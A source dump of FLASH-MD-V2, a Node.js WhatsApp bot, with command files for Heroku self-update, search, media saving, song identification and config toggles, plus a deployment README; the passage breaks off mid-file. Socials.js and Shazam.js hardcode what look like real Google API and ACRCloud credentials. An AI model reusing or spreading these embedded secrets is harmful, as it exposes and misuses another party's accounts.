"formation": { 94 | "web": { 95 | "quantity": 1, 96 | "size": "Basic" 97 | } 98 | }, 99 | "addons": [], 100 | "buildpacks": [ 101 | { 102 | "url": "heroku/nodejs" 103 | } 104 | ] 105 | } 106 | -------------------------------------------------------------------------------- /commands/Update.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const axios = require('axios'); 3 | 4 | const { HEROKU_API_KEY, HEROKU_APP_NAME } = process.env; 5 | 6 | module.exports = [ 7 | { 8 | name: 'update', 9 | get flashOnly() { 10 | return franceking(); 11 | }, 12 | description: 'Check for new GitHub commits and optionally trigger update.', 13 | category: 'HEROKU', 14 | ownerOnly: true, 15 | 16 | execute: async (king, msg, args) => { 17 | const fromJid = msg.key.remoteJid; 18 | 19 | if (!HEROKU_API_KEY || !HEROKU_APP_NAME) { 20 | return king.sendMessage(fromJid, { 21 | text: '⚠️ HEROKU_API_KEY or HEROKU_APP_NAME is not set in environment.' 22 | }, { quoted: msg }); 23 | } 24 | 25 | const subcommand = args[0]?.toLowerCase(); 26 | 27 | try { 28 | if (subcommand === 'now') { 29 | await king.sendMessage(fromJid, { 30 | text: '🚀 Updating bot now. Please wait 1-2 minutes...' 31 | }, { quoted: msg }); 32 | 33 | await axios.post( 34 | `https://api.heroku.com/apps/${HEROKU_APP_NAME}/builds`, 35 | { 36 | source_blob: { 37 | url: 'https://github.com/franceking1/Flash-Md-V2/tarball/main' 38 | } 39 | }, 40 | { 41 | headers: { 42 | Authorization: `Bearer ${HEROKU_API_KEY}`, 43 | Accept: 'application/vnd.heroku+json; version=3', 44 | 'Content-Type': 'application/json' 45 | } 46 | } 47 | ); 48 | 49 | return king.sendMessage(fromJid, { 50 | text: '✅ Redeploy triggered successfully!' 51 | }, { quoted: msg }); 52 | 53 | } else { 54 | const githubRes = await axios.get( 55 | 'https://api.github.com/repos/franceking1/Flash-Md-V2/commits/main' 56 | ); 57 | const latestCommit = githubRes.data; 58 | const latestSha = latestCommit.sha; 59 | 60 | const herokuRes = await axios.get( 61 | `https://api.heroku.com/apps/${HEROKU_APP_NAME}/builds`, 62 | { 63 | headers: { 64 | Authorization: `Bearer ${HEROKU_API_KEY}`, 65 | Accept: 'application/vnd.heroku+json; version=3' 66 | } 67 | } 68 | ); 69 | 70 | const lastBuild = herokuRes.data[0]; 71 | const deployedSha = lastBuild?.source_blob?.url || ''; 72 | const alreadyDeployed = deployedSha.includes(latestSha); 73 | 74 | if (alreadyDeployed) { 75 | return king.sendMessage(fromJid, { 76 | text: '✅ Bot is already up to date with the latest commit.' 77 | }, { quoted: msg }); 78 | } 79 | 80 | return king.sendMessage(fromJid, { 81 | text: `🆕 New commit found!\n\n*Message:* ${latestCommit.commit.message}\n*Author:* ${latestCommit.commit.author.name}\n\nType *update now* to update your bot.` 82 | }, { quoted: msg }); 83 | } 84 | } catch (error) { 85 | const errMsg = error.response?.data?.message || error.message; 86 | console.error('Update failed:', errMsg); 87 | return king.sendMessage(fromJid, { 88 | text: `❌ Error: ${errMsg}` 89 | }, { quoted: msg }); 90 | } 91 | } 92 | } 93 | ]; 94 | -------------------------------------------------------------------------------- /commands/Host.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const os = require('os'); 3 | const moment = require('moment-timezone'); 4 | const config = require('../config'); 5 | 6 | const botStartTime = Date.now(); 7 | 8 | function detectPlatform() { 9 | const hostEnv = process.env.HOST_PROVIDER?.toLowerCase(); 10 | 11 | const providers = { 12 | 'optiklink': 'Optiklink.com', 13 | 'bot-hosting': 'Bot-Hosting.net', 14 | 'heroku': 'Heroku', 15 | 'railway': 'Railway', 16 | 'koyeb': 'Koyeb', 17 | 'render': 'Render', 18 | 'github': 'GitHub Actions', 19 | 'katabump': 'Katabump.com' 20 | }; 21 | 22 | if (hostEnv && providers[hostEnv]) return providers[hostEnv]; 23 | if (process.env.RAILWAY_STATIC_URL || process.env.RAILWAY_ENVIRONMENT) return 'Railway'; 24 | if (process.env.KOYEB_ENV) return 'Koyeb'; 25 | if (process.env.RENDER) return 'Render'; 26 | if (process.env.GITHUB_WORKFLOW || process.env.GITHUB_ACTIONS) return 'GitHub Actions'; 27 | if (process.env.DYNO) return 'Heroku'; 28 | 29 | return 'Unknown (Linux)'; 30 | } 31 | 32 | function formatUptime(totalSec) { 33 | const days = Math.floor(totalSec / (3600 * 24)); 34 | const hrs = Math.floor((totalSec % (3600 * 24)) / 3600); 35 | const mins = Math.floor((totalSec % 3600) / 60); 36 | const secs = Math.floor(totalSec % 60); 37 | 38 | const parts = []; 39 | if (days) parts.push(`${days}d`); 40 | if (hrs) parts.push(`${hrs}h`); 41 | if (mins) parts.push(`${mins}m`); 42 | if (secs || parts.length === 0) parts.push(`${secs}s`); 43 | 44 | return parts.join(', '); 45 | } 46 | 47 | module.exports = { 48 | name: 'host', 49 | get flashOnly() { 50 | return franceking(); 51 | }, 52 | aliases: ['platform'], 53 | description: 'Shows details about the current hosting environment.', 54 | execute: async (king, msg, args, fromJid) => { 55 | const platform = detectPlatform(); 56 | const totalMem = (os.totalmem() / 1024 / 1024 / 1024).toFixed(2); 57 | const freeMem = (os.freemem() / 1024 / 1024 / 1024).toFixed(2); 58 | const usedMem = (totalMem - freeMem).toFixed(2); 59 | 60 | const uptimeBot = formatUptime((Date.now() - botStartTime) / 1000); 61 | const time = moment().tz(config.timezone).format('HH:mm:ss | DD/MM/YYYY'); 62 | 63 | const hostInfo = `*◇ HOSTING STATUS ◇*\n\n` + 64 | `*Hosting Provider:* ${platform}\n` + 65 | `*Time:* ${time}\n` + 66 | `*Bot Uptime:* ${uptimeBot}\n` + 67 | `*RAM Used:* ${usedMem} GB\n` + 68 | `*Total RAM:* ${totalMem} GB`; 69 | 70 | try { 71 | await king.sendMessage(fromJid, { 72 | text: hostInfo, 73 | contextInfo: { 74 | forwardingScore: 1, 75 | isForwarded: true, 76 | forwardedNewsletterMessageInfo: { 77 | newsletterJid: '120363238139244263@newsletter', 78 | newsletterName: 'FLASH-MD', 79 | serverMessageId: -1 80 | } 81 | } 82 | }, { quoted: msg }); 83 | } catch (error) { 84 | console.error('Error in host command:', error); 85 | await king.sendMessage(fromJid, { 86 | text: `❌ Failed to get host info. Error: ${error.response?.status || error.message}` 87 | }, { quoted: msg }); 88 | } 89 | } 90 | }; 91 | -------------------------------------------------------------------------------- /commands/Socials.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const { franceking } = require('../main'); 3 | 4 | module.exports = [ 5 | { 6 | name: 'google', 7 | aliases: ['Search'], 8 | description: 'Search Google and get top results.', 9 | category: 'Search', 10 | 11 | get flashOnly() { 12 | return franceking(); 13 | }, 14 | 15 | execute: async (king, msg, args, fromJid) => { 16 | const query = args.join(' '); 17 | 18 | if (!query) { 19 | return king.sendMessage(fromJid, { 20 | text: '🔍 *Please provide a search term!*\n\nExample:\n`.google what is treason`' 21 | }, { quoted: msg }); 22 | } 23 | 24 | try { 25 | const apiKey = 'AIzaSyDMbI3nvmQUrfjoCJYLS69Lej1hSXQjnWI'; // Your API key 26 | const cx = 'baf9bdb0c631236e5'; // Your Search Engine ID 27 | 28 | const { data } = await axios.get(`https://www.googleapis.com/customsearch/v1`, { 29 | params: { 30 | q: query, 31 | key: apiKey, 32 | cx: cx 33 | } 34 | }); 35 | 36 | if (!data.items || data.items.length === 0) { 37 | return king.sendMessage(fromJid, { 38 | text: '❌ *No results found.*' 39 | }, { quoted: msg }); 40 | } 41 | 42 | let resultsText = `🌐 *Google Search*\n🔍 *Query:* ${query}\n\n`; 43 | 44 | data.items.slice(0, 5).forEach(item => { 45 | resultsText += `📌 *Title:* ${item.title}\n📝 *Description:* ${item.snippet}\n🔗 *Link:* ${item.link}\n\n`; 46 | }); 47 | 48 | await king.sendMessage(fromJid, { 49 | text: resultsText.trim() 50 | }, { quoted: msg }); 51 | 52 | } catch (err) { 53 | await king.sendMessage(fromJid, { 54 | text: '⚠️ *Error searching Google.*\nMake sure your API key and CX ID are valid.' 55 | }, { quoted: msg }); 56 | } 57 | } 58 | }, { 59 | name: 'github', 60 | aliases: ['gh'], 61 | description: 'Fetch GitHub user profile info.', 62 | category: 'Search', 63 | 64 | get flashOnly() { 65 | return franceking(); 66 | }, 67 | 68 | execute: async (king, msg, args, fromJid) => { 69 | const username = args[0]; 70 | 71 | if (!username) { 72 | return king.sendMessage(fromJid, { 73 | text: '📦 *Please provide a GitHub username.*' 74 | }, { quoted: msg }); 75 | } 76 | 77 | try { 78 | const response = await fetch(`https://api.github.com/users/${username}`); 79 | const data = await response.json(); 80 | 81 | if (data.message === 'Not Found') { 82 | return king.sendMessage(fromJid, { 83 | text: '❌ *GitHub user not found.*' 84 | }, { quoted: msg }); 85 | } 86 | 87 | const profilePic = `https://github.com/${data.login}.png`; 88 | 89 | const userInfo = ` 90 | 🌐 *GitHub User Info* 91 | 92 | 👤 *Name:* ${data.name || 'N/A'} 93 | 🔖 *Username:* ${data.login} 94 | 📝 *Bio:* ${data.bio || 'N/A'} 95 | 🏢 *Company:* ${data.company || 'N/A'} 96 | 📍 *Location:* ${data.location || 'N/A'} 97 | 📧 *Email:* ${data.email || 'N/A'} 98 | 🔗 *Blog:* ${data.blog || 'N/A'} 99 | 📂 *Public Repos:* ${data.public_repos} 100 | 👥 *Followers:* ${data.followers} 101 | 🤝 *Following:* ${data.following} 102 | `.trim(); 103 | 104 | await king.sendMessage(fromJid, { 105 | image: { url: profilePic }, 106 | caption: userInfo 107 | }, { quoted: msg }); 108 | 109 | } catch (err) { 110 | await king.sendMessage(fromJid, { 111 | text: '⚠️ Error fetching GitHub user. Please try again.' 112 | }, { quoted: msg }); 113 | } 114 | } 115 | } 116 | ]; 117 | -------------------------------------------------------------------------------- /commands/Save.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | const { downloadMediaMessage } = require('@whiskeysockets/baileys'); 4 | const { Sticker, StickerTypes } = require('wa-sticker-formatter'); 5 | const { franceking } = require('../main'); 6 | 7 | const tempDir = path.join(__dirname, '..', 'temp'); 8 | if (!fs.existsSync(tempDir)) { 9 | fs.mkdirSync(tempDir); 10 | } 11 | 12 | async function saveMedia(msgContent, type = 'file') { 13 | const buffer = await downloadMediaMessage(msgContent, 'buffer', {}, { logger: console }); 14 | const filename = path.join(tempDir, `${Date.now()}-${type}.bin`); 15 | fs.writeFileSync(filename, buffer); 16 | return filename; 17 | } 18 | 19 | module.exports = { 20 | name: 'save', 21 | description: 'Save and resend a replied message (media/text/sticker).', 22 | category: 'WhatsApp', 23 | get flashOnly() { 24 | return franceking(); 25 | }, 26 | 27 | execute: async (king, msg, args) => { 28 | const recipientJid = king.user.id; 29 | const myMedia = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 30 | 31 | if (!myMedia) { 32 | return king.sendMessage(recipientJid, { 33 | text: 'Reply to the message you want to save.' 34 | }, { quoted: msg }); 35 | } 36 | 37 | let sendMsg; 38 | 39 | try { 40 | if (myMedia.imageMessage) { 41 | const mediaPath = await saveMedia({ message: { imageMessage: myMedia.imageMessage } }, 'image'); 42 | sendMsg = { 43 | image: { url: mediaPath }, 44 | caption: myMedia.imageMessage?.caption ?? '' 45 | }; 46 | } else if (myMedia.videoMessage) { 47 | const mediaPath = await saveMedia({ message: { videoMessage: myMedia.videoMessage } }, 'video'); 48 | sendMsg = { 49 | video: { url: mediaPath }, 50 | caption: myMedia.videoMessage?.caption ?? '' 51 | }; 52 | } else if (myMedia.audioMessage) { 53 | const mediaPath = await saveMedia({ message: { audioMessage: myMedia.audioMessage } }, 'audio'); 54 | sendMsg = { 55 | audio: { url: mediaPath }, 56 | mimetype: 'audio/mp4' 57 | }; 58 | } else if (myMedia.stickerMessage) { 59 | const mediaPath = await saveMedia({ message: { stickerMessage: myMedia.stickerMessage } }, 'sticker'); 60 | const sticker = new Sticker(mediaPath, { 61 | pack: 'FLASH-MD', 62 | type: StickerTypes.CROPPED, 63 | categories: ['🔥', '⭐'], 64 | id: 'flash-md-sticker', 65 | quality: 70, 66 | background: 'transparent' 67 | }); 68 | const stickerBuffer = await sticker.toBuffer(); 69 | sendMsg = { sticker: stickerBuffer }; 70 | } else if (myMedia?.conversation || myMedia?.extendedTextMessage) { 71 | const textContent = myMedia.conversation || myMedia.extendedTextMessage?.text || 'Saved message'; 72 | sendMsg = { text: textContent }; 73 | } else { 74 | return king.sendMessage(recipientJid, { 75 | text: 'Unsupported message type.' 76 | }, { quoted: msg }); 77 | } 78 | 79 | await king.sendMessage(recipientJid, sendMsg); 80 | 81 | if (sendMsg.image || sendMsg.video || sendMsg.audio) { 82 | const filePath = sendMsg.image?.url || sendMsg.video?.url || sendMsg.audio?.url; 83 | try { 84 | await fs.promises.unlink(filePath); 85 | } catch (err) { 86 | console.error('Failed to delete file:', filePath, err); 87 | } 88 | } 89 | 90 | } catch (err) { 91 | console.error('[SAVE COMMAND ERROR]', err); 92 | await king.sendMessage(recipientJid, { 93 | text: 'An error occurred while saving the message.' 94 | }, { quoted: msg }); 95 | } 96 | } 97 | }; 98 | 99 | -------------------------------------------------------------------------------- /commands/Uptime.js: -------------------------------------------------------------------------------- 1 | const now = require('performance-now'); 2 | const { franceking } = require('../main'); 3 | if (!global.botStartTime) global.botStartTime = Date.now(); 4 | 5 | module.exports = [ 6 | { 7 | name: 'ping', 8 | get flashOnly() { 9 | return franceking(); 10 | }, 11 | aliases: ['latency', 'speed'], 12 | description: "Checks the bot's response time", 13 | execute: async (sock, msg) => { 14 | const start = now(); 15 | const senderId = (msg.key?.participant || msg.key?.remoteJid || '0@s.whatsapp.net').split('@')[0]; 16 | const jid = msg.key.remoteJid; 17 | 18 | const pingMsg = await sock.sendMessage(jid, { text: 'Pinging...' }, { 19 | quoted: { 20 | key: { fromMe: false, participant: '0@s.whatsapp.net', remoteJid: 'status@broadcast' }, 21 | message: { 22 | contactMessage: { 23 | displayName: 'FLASH-MD-V2', 24 | vcard: `BEGIN:VCARD\nVERSION:3.0\nN:;a,;;;\nFN:'FLASH-MD-V2'\nitem1.TEL;waid=${senderId}:${senderId}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`, 25 | }, 26 | }, 27 | } 28 | }); 29 | 30 | const latency = (now() - start).toFixed(0); 31 | 32 | await sock.relayMessage( 33 | jid, 34 | { 35 | protocolMessage: { 36 | key: pingMsg.key, 37 | type: 14, 38 | editedMessage: { 39 | conversation: `🏓 Pong!\n⏱️ *_Flash-Md-V2.5 Speed: ${latency} ms_*`, 40 | }, 41 | }, 42 | }, 43 | {} 44 | ); 45 | } 46 | }, 47 | { 48 | name: 'uptime', 49 | get flashOnly() { 50 | return franceking(); 51 | }, 52 | aliases: ['runtime'], 53 | description: 'Displays the system uptime!', 54 | execute: async (sock, msg) => { 55 | const currentTime = Date.now(); 56 | const uptimeInMillis = currentTime - global.botStartTime; 57 | const formatted = formatUptime(uptimeInMillis); 58 | 59 | const senderId = (msg.key?.participant || msg.key?.remoteJid || '0@s.whatsapp.net').split('@')[0]; 60 | const jid = msg.key.remoteJid; 61 | 62 | await sock.sendMessage(jid, { 63 | text: `*_UPTIME OF FLASH-MD-V2: ${formatted}_*` 64 | }, { 65 | quoted: { 66 | key: { fromMe: false, participant: '0@s.whatsapp.net', remoteJid: 'status@broadcast' }, 67 | message: { 68 | contactMessage: { 69 | displayName: 'FLASH-MD-V2', 70 | vcard: `BEGIN:VCARD\nVERSION:3.0\nN:;a,;;;\nFN:'FLASH-MD-V2'\nitem1.TEL;waid=${senderId}:${senderId}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`, 71 | }, 72 | }, 73 | } 74 | }); 75 | } 76 | } 77 | ]; 78 | 79 | function formatUptime(ms) { 80 | const sec = Math.floor(ms / 1000) % 60; 81 | const min = Math.floor(ms / (1000 * 60)) % 60; 82 | const hr = Math.floor(ms / (1000 * 60 * 60)) % 24; 83 | const day = Math.floor(ms / (1000 * 60 * 60 * 24)); 84 | 85 | const parts = []; 86 | 87 | if (day === 1) parts.push(`1 day`); 88 | else if (day > 1) parts.push(`${day} days`); 89 | 90 | if (hr === 1) parts.push(`1 hour`); 91 | else if (hr > 1) parts.push(`${hr} h`); 92 | 93 | if (min === 1) parts.push(`1 minute`); 94 | else if (min > 1) parts.push(`${min} m`); 95 | 96 | if (sec === 1) parts.push(`1 second`); 97 | else if (sec > 1 || parts.length === 0) parts.push(`${sec} s`); 98 | 99 | return parts.join(', ') || '0 second'; 100 | } 101 | -------------------------------------------------------------------------------- /commands/Herokuu.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const Heroku = require('heroku-client'); 3 | 4 | function getHerokuClient() { 5 | const apiKey = process.env.HEROKU_API_KEY; 6 | const appName = process.env.HEROKU_APP_NAME; 7 | 8 | if (!apiKey || !appName) { 9 | throw new Error('Missing HEROKU_API_KEY or HEROKU_APP_NAME in environment variables.'); 10 | } 11 | 12 | return { 13 | heroku: new Heroku({ token: apiKey }), 14 | baseURI: `/apps/${appName}` 15 | }; 16 | } 17 | 18 | function createHerokuCommand({ name, varName, allowedValues, description }) { 19 | return { 20 | name, 21 | get flashOnly() { 22 | return franceking(); 23 | }, 24 | description, 25 | category: 'HEROKU', 26 | ownerOnly: true, 27 | execute: async (king, msg, args, fromJid) => { 28 | const input = args.join(" ").trim(); 29 | 30 | if (!input.includes('=')) { 31 | return king.sendMessage(fromJid, { 32 | text: `Usage: ${name} = value` 33 | }, { quoted: msg }); 34 | } 35 | 36 | const [key, valueRaw] = input.split('='); 37 | const value = valueRaw.trim(); 38 | 39 | if (allowedValues && !allowedValues.includes(value.toLowerCase())) { 40 | return king.sendMessage(fromJid, { 41 | text: `❌ Invalid value for *${name}*.\nAllowed: ${allowedValues.join(', ')}` 42 | }, { quoted: msg }); 43 | } 44 | 45 | try { 46 | const { heroku, baseURI } = getHerokuClient(); 47 | await heroku.patch(baseURI + "/config-vars", { 48 | body: { [varName]: value } 49 | }); 50 | 51 | await king.sendMessage(fromJid, { 52 | text: `✅ *${varName}* updated to *${value}*.\nRestarting bot...` 53 | }, { quoted: msg }); 54 | 55 | process.exit(0); 56 | } catch (e) { 57 | await king.sendMessage(fromJid, { 58 | text: '❌ Error: ' + e.message 59 | }, { quoted: msg }); 60 | } 61 | } 62 | }; 63 | } 64 | 65 | module.exports = [ 66 | createHerokuCommand({ 67 | name: 'mode', 68 | varName: 'MODE', 69 | allowedValues: ['private', 'public'], 70 | description: 'Set bot mode (private/public)' 71 | }), 72 | createHerokuCommand({ 73 | name: 'prefix', 74 | varName: 'PREFIX', 75 | allowedValues: null, 76 | description: 'Set command prefix(es), e.g. ! or !,+' 77 | }), 78 | createHerokuCommand({ 79 | name: 'timezone', 80 | varName: 'timezone', 81 | allowedValues: null, 82 | description: 'Set timezone (e.g. Africa/Nairobi)' 83 | }), 84 | createHerokuCommand({ 85 | name: 'anticall', 86 | varName: 'ANTICALL', 87 | allowedValues: ['on', 'off'], 88 | description: 'Enable or disable AntiCall' 89 | }), 90 | createHerokuCommand({ 91 | name: 'antidelete', 92 | varName: 'ANTIDELETE', 93 | allowedValues: ['on', 'off'], 94 | description: 'Enable or disable AntiDelete' 95 | }), 96 | createHerokuCommand({ 97 | name: 'autoview', 98 | varName: 'AUTO_READ_STATUS', 99 | allowedValues: ['on', 'off'], 100 | description: 'Enable or disable Auto View Status' 101 | }), 102 | createHerokuCommand({ 103 | name: 'autoread', 104 | varName: 'AUTO_READ_DM', 105 | allowedValues: ['on', 'off'], 106 | description: 'Enable or disable Auto Read DMs' 107 | }), 108 | createHerokuCommand({ 109 | name: 'autolike', 110 | varName: 'AUTO_LIKE', 111 | allowedValues: ['on', 'off'], 112 | description: 'Enable or disable Auto Like' 113 | }), 114 | createHerokuCommand({ 115 | name: 'presence', 116 | varName: 'PRESENCE_DM', 117 | allowedValues: ['typing', 'recording', 'online', 'paused'], 118 | description: 'Set presence for DMs' 119 | }), 120 | createHerokuCommand({ 121 | name: 'presencegroup', 122 | varName: 'PRESENCE_GROUP', 123 | allowedValues: ['typing', 'recording', 'online', 'paused'], 124 | description: 'Set presence for Groups' 125 | }) 126 | ]; 127 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🚀 FLASH-MD-V2: The Ultimate WhatsApp Bot 2 | 3 |

4 | FLASH-MD-V2 Banner 5 |

6 | 7 | **FLASH-MD-V2** is a powerful, fully customizable WhatsApp bot built with **Node.js** and the **WhatsApp Web API**. Automate tasks, manage groups, and enhance your WhatsApp experience with ease. 8 | ## CONNECT TO WHATSAPP: 9 | - **STAR REPO AND THEN** [FORK IT](https://github.com/franceking1/Flash-Md-V2/fork) 10 | - **GET SESSION ID USING** [FLASH-MD SESSIONS](https://fixed-sessions.onrender.com) 11 | 12 | - [**TRY VERSION 3 HERE**](https://host-yqmf.onrender.com) Which doesn't require deployment. 13 | --- 14 | ### 🚀 Deployment Platforms: 15 | 16 | | **Platform** | **Instructions** | 17 | |---------------------|------------------| 18 | | **Heroku** | **Heroku deployment guide**:
1. Create an account on [Heroku](https://signup.heroku.com)
2. Add a credit card (required for deployment).
3. Click [RIGHT HERE](https://france-king.vercel.app/) to deploy FLASH-MD V2 instantly. | 19 | | **Render** | 1. Sign up at [Render](https://render.com) & link GitHub.
2. Set Build Command as `npm install` & Start Command as `npm start`.
3. Deploy without session env first.
4. After first deploy, add `SESSION`, `YOUR_NUMBER`, and `YOUR_LID` to `.env`.
5. To keep it 24/7, add your Render app link to `.env`. | 20 | | **Koyeb** | 1. Sign up at [Koyeb](https://www.koyeb.com) & link GitHub.
2. Set up environment variables: `YOUR_NUMBER`, `YOUR_LID`, `SESSION`.
3. Deploy using Node.js auto-detect. | 21 | | **Railway** | 1. Sign up at [Railway](https://railway.app) & link GitHub.
2. Set Build Command as `npm install` & Start Command as `npm start`.
3. Add environment variables: `YOUR_NUMBER`, `YOUR_LID`, `SESSION`.
4. Deploy & your bot is live! | 22 | | **Bot-Hosting.net** | 1. **[DOWNLOAD THE ZIP HERE](https://github.com/franceking1/Flash-Md-V2/archive/refs/heads/main.zip)**.
2. Go to [Bot-Hosting.net](https://bot-hosting.net) and create a new Node.js app.
3. Upload and extract the ZIP contents.
4. Add environment variables: `SESSION`, `YOUR_NUMBER`, `YOUR_LID`.
5. Start your bot from the panel. | 23 | | **Optiklink.com** | 1. **[DOWNLOAD THE ZIP HERE](https://github.com/franceking1/Flash-Md-V2/archive/refs/heads/main.zip)**.
2. Go to [Optiklink.com](https://optiklink.com) and create a Node.js project.
3. Upload and extract the ZIP.
4. Set `.env` values: `SESSION`, `YOUR_NUMBER`, `YOUR_LID`.
5. Start the bot via terminal or web console. | 24 | | **Termux** | **Termux Setup Instructions**:
1. Install [Termux](https://f-droid.org/packages/com.termux/) on Android.
2. Clone the repo and navigate into the folder.
3. Install dependencies and run the bot with the commands below. | 25 | 26 | ### 📚 TERMUX Setup Instructions: 27 | 28 | #### 1. Clone the repository: 29 | 30 | ```bash 31 | git clone https://github.com/franceking1/FLASH-MD-V2.git 32 | ``` 33 | ```bash 34 | cd FLASH-MD-V2 35 | ``` 36 | ```bash 37 | npm install 38 | ``` 39 | ```bash 40 | npm start 41 | 42 | ``` 43 | --- 44 | 45 | 46 | ### ⚠️ Warning 47 | 48 | - **Do NOT copy, modify, or redistribute** this bot without **proper permission**. 49 | - FLASH-MD-V2 is an **open-source project**, but it is protected by its license and community standards. 50 | - Give **proper credits** to the original authors and libraries used. 51 | - Any misuse or abuse of this bot is **strictly prohibited**. 52 | 53 | --- 54 | *** 55 | ### HELP : 56 | **IF you need any help** 57 | - [**CLICK HERE**](https://messages-snowy.vercel.app) 58 | - [**Click here to send suggestions or queries**](https://suggestions-phi.vercel.app) 59 | 60 | 61 | *** 62 | 63 | ### ⭐ Support This Project 64 | 65 | | **Action** | **Purpose** | 66 | |------------|-------------| 67 | | [Use This Template](https://github.com/franceking1/FLASH-MD-V2/generate) | Create your own working bot easily. Eg, for hosting on render ‼️ | 68 | | [Fork This Repo](https://github.com/franceking1/FLASH-MD-V2/fork) | Show your support and boost visibility | 69 | 70 | > Every ⭐ star and fork makes a big difference — thank you for supporting **FLASH-MD-V2**! 71 | 72 | > Powered by France King 73 | --- 74 | -------------------------------------------------------------------------------- /commands/Shazam.js: -------------------------------------------------------------------------------- 1 | const acrcloud = require("acrcloud"); 2 | const yts = require("yt-search"); 3 | const { franceking } = require('../main'); 4 | const { downloadMediaMessage } = require('@whiskeysockets/baileys'); 5 | const fs = require("fs"); 6 | const path = require("path"); 7 | 8 | const TEMP_DIR = path.join(__dirname, '..', 'temp'); 9 | if (!fs.existsSync(TEMP_DIR)) fs.mkdirSync(TEMP_DIR); 10 | 11 | async function identifySong(buffer) { 12 | const acr = new acrcloud({ 13 | host: 'identify-us-west-2.acrcloud.com', 14 | access_key: '4ee38e62e85515a47158aeb3d26fb741', 15 | access_secret: 'KZd3cUQoOYSmZQn1n5ACW5XSbqGlKLhg6G8S8EvJ' 16 | }); 17 | 18 | const result = await acr.identify(buffer); 19 | if (result.status.code !== 0 || !result.metadata?.music?.length) return null; 20 | return result.metadata.music[0]; 21 | } 22 | 23 | module.exports = { 24 | name: 'shazam', 25 | aliases: ['whatsong', 'findsong', 'identify'], 26 | description: 'Identify a song from an audio or video clip.', 27 | category: 'Search', 28 | 29 | get flashOnly() { 30 | return franceking(); 31 | }, 32 | 33 | execute: async (king, msg) => { 34 | const fromJid = msg.key.remoteJid; 35 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 36 | 37 | if (!quoted || (!quoted.audioMessage && !quoted.videoMessage)) { 38 | return king.sendMessage(fromJid, { 39 | text: '🎵 *Reply to a short audio or video message (10–20 seconds) to identify the song.*' 40 | }, { quoted: msg }); 41 | } 42 | 43 | const filePath = path.join(TEMP_DIR, `media-${Date.now()}.dat`); 44 | 45 | try { 46 | const stream = await downloadMediaMessage( 47 | { message: quoted }, 48 | 'stream', 49 | {}, 50 | { logger: console } 51 | ); 52 | 53 | const writeStream = fs.createWriteStream(filePath); 54 | stream.pipe(writeStream); 55 | await new Promise(resolve => writeStream.on('finish', resolve)); 56 | 57 | let buffer = fs.readFileSync(filePath); 58 | const MAX_SIZE = 1 * 1024 * 1024; 59 | if (buffer.length > MAX_SIZE) buffer = buffer.slice(0, MAX_SIZE); 60 | 61 | const matchedSong = await identifySong(buffer); 62 | 63 | if (!matchedSong) { 64 | return king.sendMessage(fromJid, { 65 | text: '❌ *Song could not be recognized.* Please try again with a clearer or more melodic part of the track.' 66 | }, { quoted: msg }); 67 | } 68 | 69 | const { title, artists, album, genres, release_date } = matchedSong; 70 | const ytQuery = `${title} ${artists?.[0]?.name || ''}`; 71 | const ytSearch = await yts(ytQuery); 72 | 73 | let response = `🎶 *Song Identified!*\n\n`; 74 | response += `🎧 *Title:* ${title || 'Unknown'}\n`; 75 | if (artists) response += `👤 *Artist(s):* ${artists.map(a => a.name).join(', ')}\n`; 76 | if (album?.name) response += `💿 *Album:* ${album.name}\n`; 77 | if (genres?.length) response += `🎼 *Genre:* ${genres.map(g => g.name).join(', ')}\n`; 78 | if (release_date) { 79 | const [year, month, day] = release_date.split('-'); 80 | response += `📅 *Released:* ${day}/${month}/${year}\n`; 81 | } 82 | if (ytSearch?.videos?.[0]?.url) response += `🔗 *YouTube:* ${ytSearch.videos[0].url}\n`; 83 | response += `\n*POWERED BY FLASH-MD V2*`; 84 | 85 | return king.sendMessage(fromJid, { 86 | text: response.trim(), 87 | contextInfo: { 88 | forwardingScore: 777, 89 | isForwarded: true, 90 | forwardedNewsletterMessageInfo: { 91 | newsletterJid: '120363238139244263@newsletter', 92 | newsletterName: 'FLASH-MD', 93 | serverMessageId: -1 94 | } 95 | } 96 | }, { quoted: msg }); 97 | 98 | } catch (err) { 99 | console.error('[SHZ ERROR]', err); 100 | return king.sendMessage(fromJid, { 101 | text: '⚠️ *Error:* Unable to recognize the song. Please try again with a clear, short clip (10–20s).' 102 | }, { quoted: msg }); 103 | } finally { 104 | if (fs.existsSync(filePath)) fs.unlinkSync(filePath); 105 | } 106 | } 107 | }; 108 | -------------------------------------------------------------------------------- /commands/Alive.js: -------------------------------------------------------------------------------- 1 | const now = require('performance-now'); 2 | const { franceking } = require('../main'); 3 | 4 | if (!global.botStartTime) global.botStartTime = Date.now(); 5 | 6 | function detectPlatform() { 7 | const hostEnv = process.env.HOST_PROVIDER?.toLowerCase(); 8 | 9 | const providers = { 10 | 'optiklink': 'Optiklink.com', 11 | 'bot-hosting': 'Bot-Hosting.net', 12 | 'heroku': 'Heroku', 13 | 'railway': 'Railway', 14 | 'koyeb': 'Koyeb', 15 | 'render': 'Render', 16 | 'github': 'GitHub Actions', 17 | 'katabump': 'Katabump.com' 18 | }; 19 | 20 | if (hostEnv && providers[hostEnv]) return providers[hostEnv]; 21 | if (process.env.RAILWAY_STATIC_URL || process.env.RAILWAY_ENVIRONMENT) return 'Railway'; 22 | if (process.env.KOYEB_ENV) return 'Koyeb'; 23 | if (process.env.RENDER) return 'Render'; 24 | if (process.env.GITHUB_WORKFLOW || process.env.GITHUB_ACTIONS) return 'GitHub Actions'; 25 | if (process.env.DYNO) return 'Heroku'; 26 | 27 | return 'Unknown (Linux)'; 28 | } 29 | 30 | const getSenderId = (msg) => (msg.key?.participant || msg.key?.remoteJid || '0@s.whatsapp.net').split('@')[0]; 31 | 32 | const createQuotedContact = (senderId) => ({ 33 | key: { fromMe: false, participant: '0@s.whatsapp.net', remoteJid: 'status@broadcast' }, 34 | message: { 35 | contactMessage: { 36 | displayName: 'FLASH-MD-V2', 37 | vcard: 